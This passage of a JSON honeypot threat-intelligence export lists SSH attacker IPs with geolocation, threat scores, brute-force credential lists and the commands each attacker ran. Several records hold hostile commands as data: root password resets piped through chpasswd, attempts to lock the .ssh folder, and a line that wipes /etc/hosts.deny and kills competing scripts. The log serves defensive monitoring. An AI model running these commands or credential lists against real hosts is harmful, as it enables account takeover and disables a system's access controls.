      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T01:07:59.772000+00:00",
        "last_seen_30d": "2026-03-27T02:50:23.630000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 65
      }
    },
    "210.79.191.205": {
      "attack_count": 231,
      "first_seen": "2026-03-26T23:12:29.377Z",
      "last_seen": "2026-03-27T00:52:02.024Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567l",
        "123qwe@#",
        "4dm1n1str4t0r",
        "55555",
        "Digitalocean@123",
        "Fd@123456",
        "Jm123456",
        "PaSswORD@123",
        "adminss",
        "couscous",
        "dx123456",
        "green1",
        "natasha",
        "pippo123",
        "qazpl,wsxokm",
        "qqqqqqqq",
        "qwe123rt45",
        "root@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JVWJElwVUbMB\"|chpasswd|bash",
        "echo \"root:gbpmA994wj9l\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T23:12:29.377000+00:00",
        "last_seen_30d": "2026-03-27T00:53:06.945000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 231,
        "Suricata": 65
      }
    },
    "175.107.32.186": {
      "attack_count": 193,
      "first_seen": "2026-03-12T06:14:52.968Z",
      "last_seen": "2026-03-12T06:38:36.945Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "downloader",
        "administrador",
        "carlo",
        "fox",
        "sgp",
        "vicente"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e4r!",
        "Downloader123!",
        "Fox123!",
        "Kk123456",
        "Root12345",
        "administrador1234",
        "carlo1234",
        "claude123",
        "jack123",
        "sgp123",
        "vicentepass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Downloader123!\\nTUmP8QnEF2If\\nTUmP8QnEF2If\\n\"|passwd",
        "echo \"claude123\\n8NP6mbwbAXHF\\n8NP6mbwbAXHF\\n\"|passwd",
        "echo -e \"Downloader123!\\nTUmP8QnEF2If\\nTUmP8QnEF2If\"|passwd|bash",
        "echo -e \"claude123\\n8NP6mbwbAXHF\\n8NP6mbwbAXHF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Rawalpindi",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T06:14:52.968000+00:00",
        "last_seen_30d": "2026-03-12T06:39:43.644000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "103.31.38.209": {
      "attack_count": 168,
      "first_seen": "2026-03-30T07:07:33.085Z",
      "last_seen": "2026-03-30T08:43:15.297Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456abcABC",
        "1qaz1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "Abbas@123",
        "Connect",
        "P@ssw0rd1231",
        "Pa??w0rd",
        "admin0000",
        "deng2025",
        "developer",
        "eversec123098",
        "jane",
        "jw123456",
        "password10",
        "paulo",
        "ql@123456",
        "qwe123qWE",
        "qwer789456",
        "root87654321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:hRrppcoQ4Nre\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T07:07:33.085000+00:00",
        "last_seen_30d": "2026-03-30T08:44:20.976000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "103.97.135.244": {
      "attack_count": 168,
      "first_seen": "2026-03-29T12:05:33.748Z",
      "last_seen": "2026-03-29T13:18:24.413Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1008",
        "228228228",
        "3245gs5662d34",
        "345gs5662d34",
        "706e642a056c7e894ed5a01e55700004",
        "@Dmin1234",
        "Hello2026@",
        "P@ssword#123",
        "Pa$$w0rd2026",
        "Pass.123",
        "Password@3",
        "QWE@qwe@123",
        "Qq@123123",
        "Super123",
        "config",
        "cooper",
        "ln123456",
        "poker123",
        "qwe12#$",
        "rootroot123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ud0a4YDN9G1E\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131414,
      "as_org": "Long Van Soft Solution JSC",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T12:05:33.748000+00:00",
        "last_seen_30d": "2026-03-29T13:19:26.433000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "187.62.87.27": {
      "attack_count": 168,
      "first_seen": "2026-03-30T13:42:07.148Z",
      "last_seen": "2026-03-30T14:54:17.565Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123.com",
        "1Changeme",
        "1q2w3e4",
        "1qazxcvbnmko0",
        "3245gs5662d34",
        "345gs5662d34",
        "3e4r5t6y",
        "7758258",
        "888666",
        "Ali@2024",
        "Cs123456789",
        "Jn123456",
        "asd123$",
        "founder123",
        "h3lpm3",
        "host123456",
        "nihao123456",
        "nikki",
        "password_2",
        "qwerty88"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:CWfNKL2UIaAW\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Atibaia",
      "asn": 269715,
      "as_org": "INFINITYGO TELECOM LTDA",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:42:07.148000+00:00",
        "last_seen_30d": "2026-03-30T14:55:26.258000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "103.31.39.143": {
      "attack_count": 163,
      "first_seen": "2026-03-26T13:03:33.824Z",
      "last_seen": "2026-03-26T13:16:22.635Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "openvas",
        "sage",
        "accounting",
        "handbrake",
        "overlay"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "password",
        "sage123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin\\nAtLgRVxO17A3\\nAtLgRVxO17A3\\n\"|passwd",
        "echo \"sage123\\nfcUQ313qVxap\\nfcUQ313qVxap\\n\"|passwd",
        "echo -e \"admin\\nAtLgRVxO17A3\\nAtLgRVxO17A3\"|passwd|bash",
        "echo -e \"sage123\\nfcUQ313qVxap\\nfcUQ313qVxap\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T13:03:33.824000+00:00",
        "last_seen_30d": "2026-03-26T13:17:24.557000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 21
      }
    },
    "189.4.3.135": {
      "attack_count": 134,
      "first_seen": "2026-03-06T06:47:50.819Z",
      "last_seen": "2026-03-06T07:04:24.273Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ubuntu",
        "yasin",
        "dbadmin",
        "dis",
        "liang",
        "maks",
        "root",
        "simeon",
        "test123",
        "wso2"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "@qwer2025",
        "Dis123",
        "Wso2123!",
        "dbadmin123!",
        "ubuntu123!",
        "yasin123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ubuntu123!\\ntHWXs0RGylA8\\ntHWXs0RGylA8\\n\"|passwd",
        "echo -e \"ubuntu123!\\ntHWXs0RGylA8\\ntHWXs0RGylA8\"|passwd|bash",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pinhais",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:47:50.819000+00:00",
        "last_seen_30d": "2026-03-06T07:05:29.847000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 32
      }
    },
    "178.128.117.19": {
      "attack_count": 123,
      "first_seen": "2026-03-04T22:18:45.068Z",
      "last_seen": "2026-03-04T22:46:44.677Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "666999",
        "Asdf!234",
        "Bingo@1993",
        "Changeme123!",
        "P@ssw0rd1",
        "Web@123",
        "lala",
        "oracle1234",
        "zhbjETuyMffoL8F",
        "zj@123456",
        "zw@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:dPFZTnc20LTm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:18:45.068000+00:00",
        "last_seen_30d": "2026-03-04T22:47:46.793000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "194.164.195.247": {
      "attack_count": 119,
      "first_seen": "2026-03-21T20:02:58.648Z",
      "last_seen": "2026-03-21T20:21:05.921Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "test01",
        "345gs5662d34",
        "gosha",
        "intell",
        "saeed",
        "student5",
        "team1",
        "test123",
        "toan",
        "user1",
        "vip1"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Saeed123",
        "Test123123!",
        "team11234",
        "test01",
        "toan123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test01\\n3FtShEUyHQI1\\n3FtShEUyHQI1\\n\"|passwd",
        "echo -e \"test01\\n3FtShEUyHQI1\\n3FtShEUyHQI1\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:02:58.648000+00:00",
        "last_seen_30d": "2026-03-21T20:22:11.639000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "31.56.146.113": {
      "attack_count": 119,
      "first_seen": "2026-03-17T01:46:49.686Z",
      "last_seen": "2026-03-17T02:25:38.847Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "email",
        "345gs5662d34",
        "andrey",
        "azureuser",
        "d",
        "dan",
        "dev",
        "eddy",
        "frappeuser",
        "root",
        "vincent"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2026",
        "Dan123!",
        "andrey",
        "azureuserpass",
        "devuser",
        "eddy"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\n6DdSQZ7yHVFr\\n6DdSQZ7yHVFr\\n\"|passwd",
        "echo -e \"1234\\n6DdSQZ7yHVFr\\n6DdSQZ7yHVFr\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T01:46:49.686000+00:00",
        "last_seen_30d": "2026-03-17T02:26:47.540000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "101.47.48.72": {
      "attack_count": 118,
      "first_seen": "2026-03-28T19:01:48.251Z",
      "last_seen": "2026-03-28T22:02:07.264Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123445",
        "2025@",
        "345gs5662d34",
        "Abcdef",
        "Bd123456",
        "Electronic@123",
        "Eshore!!1",
        "Manager@123",
        "P@55w0rd77",
        "Royal@123",
        "Sterling",
        "blonde",
        "kakakaka",
        "mehmet123",
        "root123a",
        "tomtom"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "echo \"root:xPloUp8V7aiz\"|chpasswd|bash",
        "lockr -ia .ssh",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T19:01:48.251000+00:00",
        "last_seen_30d": "2026-03-28T22:03:13.615000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 55
      }
    },
    "101.47.163.94": {
      "attack_count": 87,
      "first_seen": "2026-03-26T17:15:22.496Z",
      "last_seen": "2026-03-26T17:30:18.477Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "dockeradmin",
        "345gs5662d34",
        "app",
        "ravi",
        "simone"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "app123",
        "simone123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"12345678\\n6U2lkJsTIm1G\\n6U2lkJsTIm1G\\n\"|passwd",
        "echo -e \"12345678\\n6U2lkJsTIm1G\\n6U2lkJsTIm1G\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:15:22.496000+00:00",
        "last_seen_30d": "2026-03-26T17:31:24.627000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 87,
        "Suricata": 17
      }
    },
    "103.30.75.85": {
      "attack_count": 78,
      "first_seen": "2026-03-15T11:39:30.346Z",
